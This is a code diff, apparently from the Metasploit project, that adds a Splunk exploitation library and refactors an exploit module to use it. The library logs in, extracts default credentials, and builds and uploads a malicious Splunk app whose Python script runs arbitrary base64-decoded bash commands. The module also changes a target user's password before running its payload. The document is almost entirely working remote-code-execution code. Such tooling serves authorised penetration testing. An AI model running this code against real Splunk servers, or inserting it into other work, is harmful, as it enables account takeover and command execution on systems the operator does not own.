Land #18715, Add Splunk library
This commit is contained in:
commit
9b8b7045ff
|
@ -0,0 +1,30 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module HTTP
|
||||
# This module provides a way of interacting with splunk installations
|
||||
module Splunk
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Splunk::Apps
|
||||
include Msf::Exploit::Remote::HTTP::Splunk::Base
|
||||
include Msf::Exploit::Remote::HTTP::Splunk::Helpers
|
||||
include Msf::Exploit::Remote::HTTP::Splunk::Login
|
||||
include Msf::Exploit::Remote::HTTP::Splunk::URIs
|
||||
include Msf::Exploit::Remote::HTTP::Splunk::Version
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the splunk application', '/'])
|
||||
], Msf::Exploit::Remote::HTTP::Splunk
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,50 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# This module provides a way of interacting with Splunk apps
|
||||
module Msf::Exploit::Remote::HTTP::Splunk::Apps
|
||||
# Uploads malicious app to splunk using admin cookie
|
||||
#
|
||||
# @param app_name [String] Name of the app to upload
|
||||
# @param cookie [String] Valid admin's cookie
|
||||
# @return [Boolean] true on success, false on error
|
||||
def splunk_upload_app(app_name, cookie)
|
||||
res = send_request_cgi({
|
||||
'uri' => splunk_upload_url,
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
unless res&.code == 200
|
||||
vprint_error('Unable to get form state')
|
||||
return false
|
||||
end
|
||||
|
||||
html = res.get_html_document
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
# fill the hidden fields from the form: state and splunk_form_key
|
||||
html.at('[id="installform"]').elements.each do |form|
|
||||
next unless form.attributes['value']
|
||||
|
||||
data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"")
|
||||
end
|
||||
data.add_part('1', nil, nil, 'form-data; name="force"')
|
||||
data.add_part(splunk_helper_malicious_app(app_name), 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"")
|
||||
post_data = data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => splunk_upload_url,
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data
|
||||
})
|
||||
|
||||
unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
|
||||
vprint_error('Error uploading App')
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
end
|
|
@ -0,0 +1,20 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# Splunk base module
|
||||
module Msf::Exploit::Remote::HTTP::Splunk::Base
|
||||
# Checks if the site is online and running splunk
|
||||
#
|
||||
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running splunk, nil otherwise
|
||||
def splunk_and_online?
|
||||
res = send_request_cgi({
|
||||
'uri' => splunk_url_login
|
||||
})
|
||||
|
||||
return res if res&.body =~ /Splunk/
|
||||
|
||||
return nil
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
||||
vprint_error("Error connecting to #{splunk_url_login}: #{e}")
|
||||
return nil
|
||||
end
|
||||
end
|
|
@ -0,0 +1,94 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# Module with helper methods for other Splunk module methods
|
||||
module Msf::Exploit::Remote::HTTP::Splunk::Helpers
|
||||
# Helper method to get tokens for login
|
||||
#
|
||||
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
|
||||
# @return [String, nil] Post data to use for login
|
||||
def splunk_helper_extract_token(timeout = 20)
|
||||
res = send_request_cgi({
|
||||
'uri' => splunk_url_login,
|
||||
'method' => 'GET',
|
||||
'keep_cookies' => true
|
||||
}, timeout)
|
||||
|
||||
unless res&.code == 200
|
||||
vprint_error('Unable to get login tokens')
|
||||
return nil
|
||||
end
|
||||
"session_id_#{datastore['RPORT']}=#{Rex::Text.rand_text_numeric(40)}; " << res.get_cookies
|
||||
end
|
||||
|
||||
# Helper method to construct malicious app in .tar.gz form
|
||||
#
|
||||
# @param app_name [String] Name of app to upload
|
||||
# @return [Rex::Text] Malicious app in .tar.gz form
|
||||
def splunk_helper_malicious_app(app_name)
|
||||
# metadata folder
|
||||
metadata = <<~EOF
|
||||
[commands]
|
||||
export = system
|
||||
EOF
|
||||
|
||||
# default folder
|
||||
commands_conf = <<~EOF
|
||||
[#{app_name}]
|
||||
type = python
|
||||
filename = #{app_name}.py
|
||||
local = false
|
||||
enableheader = false
|
||||
streaming = false
|
||||
perf_warn_limit = 0
|
||||
EOF
|
||||
|
||||
app_conf = <<~EOF
|
||||
[launcher]
|
||||
author=#{Faker::Name.name}
|
||||
description=#{Faker::Lorem.sentence}
|
||||
version=#{Faker::App.version}
|
||||
|
||||
[ui]
|
||||
is_visible = false
|
||||
EOF
|
||||
|
||||
# bin folder
|
||||
msf_exec_py = <<~EOF
|
||||
import sys, base64, subprocess
|
||||
import splunk.Intersplunk
|
||||
|
||||
header = ['result']
|
||||
results = []
|
||||
|
||||
try:
|
||||
proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
output = proc.stdout.read()
|
||||
results.append({'result': base64.b64encode(output).decode('utf-8')})
|
||||
except Exception as e:
|
||||
error_msg = 'Error : ' + str(e)
|
||||
results = splunk.Intersplunk.generateErrorResults(error_msg)
|
||||
|
||||
splunk.Intersplunk.outputResults(results, fields=header)
|
||||
EOF
|
||||
|
||||
tarfile = StringIO.new
|
||||
Rex::Tar::Writer.new tarfile do |tar|
|
||||
tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io|
|
||||
io.write metadata
|
||||
end
|
||||
tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io|
|
||||
io.write commands_conf
|
||||
end
|
||||
tar.add_file("#{app_name}/default/app.conf", 0o644) do |io|
|
||||
io.write app_conf
|
||||
end
|
||||
tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io|
|
||||
io.write msf_exec_py
|
||||
end
|
||||
end
|
||||
tarfile.rewind
|
||||
tarfile.close
|
||||
|
||||
Rex::Text.gzip(tarfile.string)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,78 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# Module with Splunk login related methods
|
||||
module Msf::Exploit::Remote::HTTP::Splunk::Login
|
||||
# performs a splunk login
|
||||
#
|
||||
# @param username [String] Username
|
||||
# @param password [String] Password
|
||||
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
|
||||
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
|
||||
def splunk_login(username, password, timeout = 20)
|
||||
# gets cval cookies
|
||||
cookie = splunk_helper_extract_token(timeout)
|
||||
if cookie.nil?
|
||||
vprint_error('Unable to extract login tokens')
|
||||
return nil
|
||||
end
|
||||
|
||||
cval_value = cookie.match(/cval=([^;]*)/)[1]
|
||||
# login post, should get back the splunkd_port and splunkweb_csrf_token_port cookies
|
||||
res = send_request_cgi({
|
||||
'uri' => splunk_url_login,
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => username,
|
||||
'password' => password,
|
||||
'cval' => cval_value
|
||||
}
|
||||
}, timeout)
|
||||
|
||||
unless res
|
||||
vprint_error("FAILED LOGIN. '#{username}' : '#{password}' returned no response")
|
||||
return nil
|
||||
end
|
||||
|
||||
unless res.code == 303 || (res.code == 200 && res.body.to_s.index('{"status":0}'))
|
||||
vprint_error("FAILED LOGIN. '#{username}' : '#{password}' with code #{res.code}")
|
||||
return nil
|
||||
end
|
||||
|
||||
print_good("SUCCESSFUL LOGIN. '#{username}' : '#{password}'")
|
||||
return cookie << " #{res.get_cookies}"
|
||||
end
|
||||
|
||||
# The free version of Splunk does not require authentication. Instead, it'll log the
|
||||
# user right in as 'admin'. If that's the case, no point to brute-force, either.
|
||||
#
|
||||
# @return [Boolean] true if auth is required, false otherwise
|
||||
def splunk_is_auth_required?
|
||||
cookie = splunk_helper_extract_token
|
||||
res = send_request_raw({
|
||||
'uri' => splunk_home,
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
!(res && res.body =~ /Logged in as (.+)/)
|
||||
end
|
||||
|
||||
# Return the default credentials if found
|
||||
#
|
||||
# @return [Array, nil] username, password if found, nil otherwise
|
||||
def splunk_default_creds
|
||||
p = %r{Splunk's default credentials are </p><p>username: <span>(.+)</span><br />password: <span>(.+)</span>}
|
||||
res = send_request_raw({ 'uri' => target_uri.path })
|
||||
user, pass = res.body.scan(p).flatten
|
||||
return [user, pass] if user && pass
|
||||
end
|
||||
|
||||
# Extract and test the default credentials, if found
|
||||
#
|
||||
# @return [String, nil] the session cookies as a single string on successful login, nil otherwise
|
||||
def splunk_login_with_default_creds
|
||||
user, pass = splunk_default_creds
|
||||
splunk_login(user, pass) if user && pass
|
||||
end
|
||||
end
|
|
@ -0,0 +1,34 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# Module with methods for commonly used splunk URLs
|
||||
module Msf::Exploit::Remote::HTTP::Splunk::URIs
|
||||
# Returns the Splunk Login URL
|
||||
#
|
||||
# @return [String] Splunk Login URL
|
||||
def splunk_url_login
|
||||
normalize_uri(target_uri.path, 'en-US', 'account', 'login')
|
||||
end
|
||||
|
||||
# Returns the Splunk URL for the user's page
|
||||
#
|
||||
# @param username [String] username of the account
|
||||
# @return [String] Splunk user URL
|
||||
def splunk_user_page(username = nil)
|
||||
username = datastore['USERNAME'] if username.nil?
|
||||
normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'services', 'authentication', 'users', username)
|
||||
end
|
||||
|
||||
# Returns the URL for splunk home page
|
||||
#
|
||||
# @return [String] Splunk home page URL
|
||||
def splunk_home
|
||||
normalize_uri(target_uri.path, 'en-US', 'app', 'launcher', 'home')
|
||||
end
|
||||
|
||||
# Returns the URL for splunk upload page
|
||||
#
|
||||
# @return [String] Splunk upload page URL
|
||||
def splunk_upload_url
|
||||
normalize_uri(target_uri.path, 'en-US', 'manager', 'appinstall', '_upload')
|
||||
end
|
||||
end
|
|
@ -0,0 +1,56 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# Module to get version of splunk app
|
||||
module Msf::Exploit::Remote::HTTP::Splunk::Version
|
||||
# Extracts the Splunk version information using authenticated cookie if available
|
||||
#
|
||||
# @param cookie_string [String] Valid cookie if available
|
||||
# @return [String, nil] Splunk version if found, nil otherwise
|
||||
def splunk_version(cookie_string = nil)
|
||||
version = splunk_version_authenticated(cookie_string) if !cookie_string.nil?
|
||||
return version if version
|
||||
|
||||
version = splunk_login_version
|
||||
return version if version
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Extracts splunk version from splunk user page using valid cookie
|
||||
#
|
||||
# @param cookie_string [String] Valid cookie
|
||||
# @return [String] Splunk version
|
||||
def splunk_version_authenticated(cookie_string)
|
||||
res = send_request_cgi({
|
||||
'uri' => splunk_user_page,
|
||||
'vars_get' => {
|
||||
'output_mode' => 'json'
|
||||
},
|
||||
'headers' => {
|
||||
'Cookie' => cookie_string
|
||||
}
|
||||
})
|
||||
|
||||
return nil unless res&.code == 200
|
||||
|
||||
body = res.get_json_document
|
||||
body.dig('generator', 'version')
|
||||
end
|
||||
|
||||
# Tries to extract splunk verion from login page
|
||||
#
|
||||
# @return [String, nil] Splunk version if found, otherwise nil
|
||||
def splunk_login_version
|
||||
res = send_request_cgi({
|
||||
'uri' => splunk_url_login,
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res
|
||||
match = res.body.match(/Splunk \d+\.\d+\.\d+/)
|
||||
return match[0].split[1] if match
|
||||
end
|
||||
end
|
||||
end
|
|
@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Splunk
|
||||
|
||||
attr_accessor :cookie
|
||||
|
||||
|
@ -99,7 +100,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def check
|
||||
splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
self.cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
fail_with(Failure::NoAccess, 'Authentication Failed') unless cookie
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']),
|
||||
|
@ -161,16 +163,20 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'vars_post' => {
|
||||
'splunk_form_key' => cookies_hash['splunkweb_csrf_token_8000']
|
||||
'splunk_form_key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"]
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
def exploit
|
||||
splunk_change_password(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])
|
||||
splunk_login(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])
|
||||
self.cookie = splunk_login(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])
|
||||
|
||||
splunk_upload_app(app_name, datastore['SPLUNK_APP_FILE'])
|
||||
if splunk_upload_app(app_name, cookie)
|
||||
vprint_status('Splunk app uploaded successfully')
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Failed to upload app')
|
||||
end
|
||||
|
||||
@job_id = execute_command(payload.encoded, { app_name: app_name })
|
||||
# TODO: distinguish commands that return output and commands that don't
|
||||
|
@ -189,7 +195,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'headers' =>
|
||||
{
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000']
|
||||
'X-Splunk-Form-Key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"]
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
|
@ -212,50 +218,17 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
body['data']
|
||||
end
|
||||
|
||||
def splunk_helper_extract_token(uri)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, uri),
|
||||
'method' => 'GET',
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
fail_with(Failure::Unreachable, 'Unable to get token') unless res&.code == 200
|
||||
|
||||
"session_id_8000=#{rand_text_numeric(40)}; " << res.get_cookies
|
||||
end
|
||||
|
||||
def splunk_login(username, password)
|
||||
# gets cval and splunkweb_uid cookies
|
||||
self.cookie = splunk_helper_extract_token('/en-US/account/login')
|
||||
|
||||
# login post, should get back the splunkd_8000 and splunkweb_csrf_token_8000 cookies
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/en-US/account/login'),
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => username,
|
||||
'password' => password,
|
||||
'cval' => cookies_hash['cval']
|
||||
}
|
||||
})
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to login') unless res&.code == 200
|
||||
|
||||
cookie << " #{res.get_cookies}"
|
||||
end
|
||||
|
||||
def splunk_change_password(username, password)
|
||||
# due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set
|
||||
do_login(username, password) unless cookie
|
||||
self.cookie ||= splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
fail_with(Failure::NoAccess, 'Authentication Failed') unless cookie
|
||||
|
||||
print_status("Changing '#{username}' password to #{password}")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri('/en-US/splunkd/__raw/services/authentication/users/', username),
|
||||
'method' => 'POST',
|
||||
'headers' => {
|
||||
'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000'],
|
||||
'X-Splunk-Form-Key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"],
|
||||
'X-Requested-With' => 'XMLHttpRequest'
|
||||
},
|
||||
'cookie' => cookie,
|
||||
|
@ -277,43 +250,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
fail_with(Failure::BadConfig, "The user '#{username}' does not have 'install_app' capability. You may consider to target other user") unless capabilities.include? 'install_apps'
|
||||
end
|
||||
|
||||
def splunk_upload_app(app_name, _file_name)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/en-US/manager/appinstall/_upload'),
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to get form state') unless res&.code == 200
|
||||
|
||||
html = res.get_html_document
|
||||
|
||||
print_status("Uploading file #{app_name}")
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
# fill the hidden fields from the form: state and splunk_form_key
|
||||
html.at('[id="installform"]').elements.each do |form|
|
||||
next unless form.attributes['value']
|
||||
|
||||
data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"")
|
||||
end
|
||||
data.add_part('1', nil, nil, 'form-data; name="force"')
|
||||
data.add_part(splunk_app, 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"")
|
||||
post_data = data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/en-US/manager/appinstall/_upload',
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data
|
||||
})
|
||||
|
||||
fail_with(Failure::Unknown, 'Error uploading App') unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
|
||||
|
||||
print_good("#{app_name} successfully uploaded")
|
||||
end
|
||||
|
||||
# def splunk_fetch_job_output
|
||||
# res = send_request_cgi({
|
||||
# 'uri' => normalize_uri(target_uri.path, "/en-US/splunkd/__raw/servicesNS/#{datastore['TARGET_USER']}/#{app_name}/search/jobs/#{@job_id}/results"),
|
||||
|
@ -334,74 +270,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
# Rex::Text.decode_base64(body['results'].first['result'])
|
||||
# end
|
||||
|
||||
def splunk_app
|
||||
# metadata folder
|
||||
metadata = <<~EOF
|
||||
[commands]
|
||||
export = system
|
||||
EOF
|
||||
|
||||
# default folder
|
||||
commands_conf = <<~EOF
|
||||
[#{app_name}]
|
||||
type = python
|
||||
filename = #{app_name}.py
|
||||
local = false
|
||||
enableheader = false
|
||||
streaming = false
|
||||
perf_warn_limit = 0
|
||||
EOF
|
||||
|
||||
app_conf = <<~EOF
|
||||
[launcher]
|
||||
author=#{Faker::Name.name}
|
||||
description=#{Faker::Lorem.sentence}
|
||||
version=#{Faker::App.version}
|
||||
|
||||
[ui]
|
||||
is_visible = false
|
||||
EOF
|
||||
|
||||
# bin folder
|
||||
msf_exec_py = <<~EOF
|
||||
import sys, base64, subprocess
|
||||
import splunk.Intersplunk
|
||||
|
||||
header = ['result']
|
||||
results = []
|
||||
|
||||
try:
|
||||
proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
|
||||
output = proc.stdout.read().decode('utf-8')
|
||||
results.append({'result': base64.b64encode(output.encode('utf-8')).decode('utf-8')})
|
||||
except Exception as e:
|
||||
error_msg = f'Error : {str(e)} '
|
||||
results = splunk.Intersplunk.generateErrorResults(error_msg)
|
||||
|
||||
splunk.Intersplunk.outputResults(results, fields=header)
|
||||
EOF
|
||||
|
||||
tarfile = StringIO.new
|
||||
Rex::Tar::Writer.new tarfile do |tar|
|
||||
tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io|
|
||||
io.write metadata
|
||||
end
|
||||
tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io|
|
||||
io.write commands_conf
|
||||
end
|
||||
tar.add_file("#{app_name}/default/app.conf", 0o644) do |io|
|
||||
io.write app_conf
|
||||
end
|
||||
tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io|
|
||||
io.write msf_exec_py
|
||||
end
|
||||
end
|
||||
tarfile.rewind
|
||||
tarfile.close
|
||||
|
||||
Rex::Text.gzip(tarfile.string)
|
||||
end
|
||||
|
||||
def cookies_hash
|
||||
cookie.split(';').each_with_object({}) { |name, h| h[name.split('=').first.strip] = name.split('=').last.strip }
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue